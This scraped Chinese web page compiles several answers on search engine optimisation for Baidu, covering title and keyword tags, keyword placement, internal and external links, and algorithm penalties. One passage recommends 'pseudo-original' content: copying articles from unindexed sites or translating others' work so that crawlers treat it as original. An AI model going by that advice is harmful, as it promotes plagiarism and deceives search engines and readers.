class="invisible"></span></a></li></ol><p class="ztext-empty-paragraph"><br/></p><p>原文地址:</p><a href="https://link.zhihu.com/?target=https%3A//www.imaiko.com/seo-beginner-guide.html" data-draft-node="block" data-draft-type="link-card" data-image="https://pic1.zhimg.com/v2-3a226bb7540939f76e8d2e0f98a4f1f4_180x120.jpg" data-image-width="800" data-image-height="450" class=" wrap external" target="_blank" rel="nofollow noreferrer">搜索引擎优化 (SEO) 新手指南</a><p></p> <p><strong>优化seo:怎么样做好网站的seo优化?</strong></p> <p>我是一个技术爱好者,对网站的制作和优化也非常熟悉,要做好网站的SEO优化,不是一个短期的过程,需要一定的规划和时间来完成网站的SEO优化,我觉得网站优化使分阶段的,大致可以从几个方面进行:<b>网站内部结构优化、关键词的布局、内容优化、网站内链优化、外链优化。</b></p><p>网站优化最重要的是<b>关键词优化</b>,体现用户搜索需求的字、词、句子都称之为关键词。</p><figure data-size="normal"><img src="https://pic3.zhimg.com/v2-a241af9f1e0b963ba6d661aec14c777e_b.jpg" data-caption="" data-size="normal" data-rawwidth="600" data-rawheight="555" class="origin_image zh-lightbox-thumb" width="600" data-original="https://pic3.zhimg.com/v2-a241af9f1e0b963ba6d661aec14c777e_r.jpg"/></figure><p><b>一、网站内部结构优化及关键词布局</b></p><p>1、TDK优化:这里的TDK并不止首页,还有栏目页和文章页的TDK,这就是为什么建站的时候选择可以自定义标签的原因。T即title,网站的标题,很!重!要!如果TDK满分10分,T要占到7分左右,标题是蜘蛛过来第一个看的东西,即第一印象,标题必须包含关键词,即网站的功能,网站是做什么产品或是服务的,语句通顺,不要堆砌关键词。D即description,网站描述,是对标题的补充。K即keywords,栏目页和文章页的TDK在后台具体栏目的高级设置里可以找到。我们布局到你网站的关键词确保有人搜索,这样才能提高网站的权重。</p><p>2、301重定向和404报错页面的制作,必须要有,不能出现网站页面打不开的现象。</p><p>3、层级目录:即打开一个页面要多少层级,这个很多网站都忽略,建议在三级以内,减少蜘蛛爬取需要的时间。</p><p>4、关键词布局及密度:根据用户浏览页面点击的热力图发现的点击热区,进而将关键词部署到相应地方。即F布局,一个页面内的关键词密度保持在2%-8%之内,这个只是个经验数据,不一定准确。关键词有核心关键词、流量词、转化词、长尾词、短句,我个人认为可以在首页上要布局核心关键词(百度指数最高的词或者热点词),二级页面上一些精准词(有百度指数但是指数偏低),三级页面页面直接上短句(无百度指数,但是能提供解决方案的一些问答词、地域词、价格词、厂家词),按照这样的策略布局,然后再用内链把这些关键词做联动或导出链接做优化。</p><p>5、四处一词:TDK+尾部或锚文本。</p><p>6、网站导航:即主导航、次导航和面包屑导航,包含关键词、突出重点、使用纯文字,要和相应TDK保持一致。</p><p><b>二、内容优化</b></p><p>主要是文章的质量要高,即使不是纯原创,至少也要是高度伪原创,伪原创要选取未收录的或者屏蔽了搜索引擎的网站上的文章,或者是翻译过来的文章,只要是你第一个发的文章,蜘蛛就认为是原创。新网站最重要的就是写原创文章,这个方面是很重要的,网站收录不好时,要加大对原创文章的创作和发布,还有就是做好和熊掌号打通,提升发布内容后熊掌号也会加快网站的收录效果,而且会给带来大量的流量。</p><p><b>三、网站内链优化</b></p><p>总结起来就是增加站内的链接密度,就像蜘蛛网一样,越密集越好,最常见的就是首页、栏目和文章页的相互跳转;LOGO的链接,文章页使用TAG标签和上、下一篇或相关文章,增加页面间的链接数和相关度。原创文章如果设置内链,可以设置2-3个就可以,不要全篇都是内链,合理设置内链即可。</p><p><b>四、 外链优化</b></p><p>一个原则就是内容相关、循序渐进,很多人为了迅速增加外链,疯狂添加,但是权重升不上来的原因就在此。外链的主要方法就是增加友情链接,但是要考察增加的友链质量度,包括PR值,是否有nofollow等标签,正常网站的友链数在30个左右,如果你添加友链的网站有超过50个友链,那并不会对你的网站有多少价值,相反还可能把你的权重更多的分给他。除了友链,增加论坛、新闻、博客、SNS、软文的相关链接也是增加网站外链的一种。</p><p>最后,要选择搜索引擎平台。虽然百度、搜狗、360都是搜索引擎,但是他们的搜索算法都是不同的,比如百度为了提升移动端的体验出来的闪电算法,提出了要做cdn加速,要针对百度移动搜索做mip页面。除了闪电算法还有比如飓风算法、清风算法、萝卜算法、惊雷算法、蓝天算法、石榴算法等等。一定要多看看百度算法,要不然容易被算法击中。以前很火的新闻源上百度首页,百度推出了蓝天算法就死了一大批网站。去年推出惊雷算法以后,紧接着死了一大批刷点击的网站。经常要查看各大搜索引擎出的新规则,要严格按照搜索引擎的算法去优化,这样可以事半功倍。</p><p><i>参考文章:</i></p><p><i>来源:百度知道</i></p><p><i><a href="https://link.zhihu.com/?target=https%3A//zhidao.baidu.com/question/1645046333736438220.html" class=" wrap external" target="_blank" rel="nofollow noreferrer">怎么样做好网站的seo优化?</a></i></p> <p><strong>优化seo:如何做好百度seo网站排名优化?</strong></p> <p>从事SEO行业的seor经常抱怨网站优化很长时间了看不到效果,迷茫没方向,无从下手,下边就给这些seor一些百度seo建议。</p><p>首先说一下SEO的概念:</p><p>SEO是搜索引擎优化(Search Engine Optimization)的简称,是指利用搜索引擎的规则提高网站在搜索引擎内的自然排名,进而获取更多的免费流量。</p><p>SEO根据其优化手法分为“白帽”和“黑帽”,“白帽”指的是在搜索引擎规则框架内对网站结构,内容、程序等进行的优化,起到改良和规范网站设计的作用,使之对搜索引擎和用户更加友好,并从中获取更多合理的流量。“黑帽”是指利用和放大搜索引擎的策略缺陷获取更多用户访问量,而这些更多的访问量,是以伤害用户体验为代价的,这些都会被搜索引擎当做作弊行为,搜索引擎会通过一些策略(比如出台针对性的算法)进行遏制打击,将相应网站降权或删除其在搜索引擎中的展现。</p><p>如果我们想长期优化一个网站,那么强烈建议多研究“白帽”远离“黑帽”,因为黑帽是违背搜索引擎初衷的,那些搜索引擎的工程师们不是吃干饭了,迟早也会发现系统存在的漏洞进而出台针对性的算法进行打击,到那时网站轻则被降权重则被K,到那时真是叫天天不应,叫地地不灵了!</p><p>搜索引擎的核心是将最优质的内容提供给用户。小编所理解的最优质内容不单单是呈现给用户的文字图片容,还包括好的体验,比如,网站打开速度,版面友好度等等,我们在优化时只要围绕其核心原则才会受到搜索引擎的青睐,大致归纳为以下几点:</p><p>1,好记的域名、精简的程序</p><p>好记的域名更容易让用户记住,也符合用户潜意识搜索习惯;精简的程序一方面指无冗余代码,更有利于搜索引擎程序访问,另一方面指简洁清晰的网页版面,使用户访问一目了然。</p><p>2、好的服务器、空间</p><p>目前用的较多的服务器以国内,香港和美国为主,建议优选国内大点的空间服务商,比如阿里云、腾讯、西数等,原因是服务器稳定,打开速度快,缺点是国内空间较高,需要备案,较繁琐,但如果想长期操作一个正规站,那么这点繁琐就可以忽略不计了。</p><p>国内空间打开速度较香港和美国的速度高许多,这就可以大大提高网站打开速度,尤其移动端更加重视网页加载速度,提高用户体验度。</p><p>重视内容质量</p><p>3、网站内容</p><p>内容质量是一个网站的“灵魂”,我们务必重视内容质量建设,提高高质量内容。在这里为什么不说提高网站原创度呢,因为百度搜素引擎并没有强调一定要原创的,但并不代表就随意复制粘贴即可,如果搜索引擎已收录的内容您再提交同质化很高的内容,那么就变成“低质”内容,没有再收录的意义。</p><p>如果您将一篇杂乱无章的内容整理成一篇段落分明,图文并茂,逻辑合理的文章,那么这样的文章是符合用户阅读习惯的,那么这也不失为一篇高质量文章。</p><p>当然,如果您有很高的原创能力,那么尽情发挥吧,尤其在当下已进入自媒体时代,相信您会成为多个平台的香饽饽。</p><p>4、站内优化</p><p>站内优化主要是做好网站类目以及站内相关文章之间的关联,可以是锚文本、相关文章、文章推荐等形式,旨在为用户提供丰富的便捷的访问资源。</p><p>5、站外优化</p><p>站外优化主要是友情链接和外链这两大部分,这里一定要强调的是友情链接和外链必须与本站内容相关,形式多样性。比如,您是做电子产品的,那么我们在交换友链或发外链时就应是电子产品、元器件产品类的,别链接一些农业,旅游等等非相关的行业,同时链接词以锚文本、超链接、文本链接等形式出现,避免触碰绿萝算法。</p><p>我们想优化好一个网站需要参照上述几点原则,同时我们还应多研究百度搜索引擎规则,比如如何提高百度权重,百度搜索引擎喜欢什么样的标题格式等等,只有这样我们才能做到投其所好,获取更好的排名和流量。</p><p>SEO是一个漫长枯燥的优化过程,我们需沉的住气,耐得住寂寞,切忌三天打鱼,两天晒网,拔苗助长,相信一分耕耘一分收获。</p><p>如果您比较急躁,那么建议不要过分依赖SEO手法获取流量。我们应拓展别的推广引流方式,比如博客推广、微博推广,抖音推广等等,多渠道并举,这样见效快也不至于太被动,毕竟我们不清楚百度会出现什么样的算法,一旦网站不小心触碰到百度算法就会出现被降权或K站的风险。</p><p>希望上述关于百度SEO建议对你有所帮助。</p> <p><strong>优化seo:SEO优化的正确姿势,如何用快排系统三天做到百度首页?</strong></p> <p>快排系统属于黑帽SEO了,其实,正确的快排方法比较针对那些未优化,但是内容都不错及时间久的站点,稍微优化一下,完全可以最短的时间出效果,</p><p>但是对新站或者已经优化过的站用快排,如果降权或者K站。</p><p>很多人说合理就行?那你说怎么算合理呢?</p><p><br/></p><p>小编也用过类的软件,刚开始确实有点效果,也可能是心理作用,从第四页很快进入第三页,但是,一直没有到第二页、第一页,所以,证明,你的站点没有优化好,用神马软件都是扯淡。</p> <p><strong>优化seo:如何做SEO优化,网站SEO优化技巧?</strong></p> <p>现在SEO优化的方式很多,繁杂多样的方法是会让人眼花缭乱的主要原因,所以你首先要确定自己的初步的计划。 网站优化第一步是自己网站的优化,打开速度,图片加载这些,还有网站构架是否迎合现阶段大部分用户的使用习惯等。 第二步就是你初期要确定使用哪些方法去进一步提高你的网站排名,高品质外链,长尾词抓取,还是关键词投放,不要想到一次性就把所有方法全部用上去,逐步前进,先采用自己比较容易上手的方式去做,然后慢慢地扩张优化手段。 总结:网站优化是没有任何技巧的,没有任何捷径可以走,需要的是时间的熬煮和坚持不懈努力。 </p> </article> <div class="pagination pagination-multi"> <ul> </ul> </div> <div class="pcd_ad" style="margin-top:10px"><script src=/d/js/acmsd/thea10.js></script></div> <div class="mbd_ad" style="margin-top:10px"><table width="100%" height="90" style="background-color:#ccc;"> <tr align="center"> <td style="text-align: center;color: #666;line-height: 90px;">内容底部广告位(手机)</td> </tr> </table></div> <div class="article_contact"> <div class="tag_boxer"> <div class="tag_content"> <i class="fa fa-tags"></i> 标签:</div> <span></span> </div> <div class="contact_detail"><a href="/e/tags/?tagname=%E4%BC%98%E5%8C%96seo" target="_blank">优化seo</a>   <a href="/e/tags/?tagname=seo%E7%9A%84%E8%81%8C%E4%BD%8D" target="_blank">seo的职位</a>   <a href="/e/tags/?tagname=php%E5%81%9Aseo%E4%BC%98%E5%8C%96" target="_blank">php做seo优化</a>   <a href="/e/tags/?tagname=seo%E7%82%B9%E5%87%BB%E6%8E%92%E5%90%8D" target="_blank">seo点击排名</a>   <a href="/e/tags/?tagname=%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BAseo" target="_blank">如何成为seo</a>   <a href="/e/tags/?tagname=%E4%BB%80%E4%B9%88%E6%98%AF+seo" target="_blank">什么是 seo</a> </div> <div class="clear"></div> </div> <footer class="entry-meta"> <p id="tag-wrap" class="tag-wrap"></p> <div class="bdsharebuttonbox"> <!--<a href="#" class="bds_more" data-cmd="more"></a>--> <a href="#" class="bds_weixin fa fa-weixin" data-cmd="weixin" title="分享到微信"></a> <a href="#" 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class="c-title"><span>发表评论</span> <span class="comment-num"> </span></p> <link href="/skin/ecmspl/css/pl.css" rel="stylesheet"> <div class="showpage" id="plpost"> <table width="100%" border="0" cellpadding="0" cellspacing="0" style="line-height: 25px; padding: 5px 3px 1px 8px; font-size: 18px;"> <tr><td><strong><font color="#333333">留言与评论(共有 <span id="infocommentnumarea">0</span> 条评论)</font></strong></td></tr> </table> <script> function CheckPl(obj) { if(obj.saytext.value=="") { alert("您没什么话要说吗?"); obj.saytext.focus(); return false; } return true; } </script> <form action="/e/pl/doaction.php" method="post" name="saypl" id="saypl" onsubmit="return CheckPl(document.saypl)"> <table width="100%" border="0" cellpadding="0" cellspacing="0" id="plpost"> <tr> <td> <table width="100%" border="0" cellspacing="10" cellpadding="0"> <tr> <td> <script src="/e/pl/loginjspl.php"></script> <textarea name="saytext" rows="6" id="saytext" placeholder="请遵守互联网相关规定,不要发布广告和违法内容!"></textarea> <script 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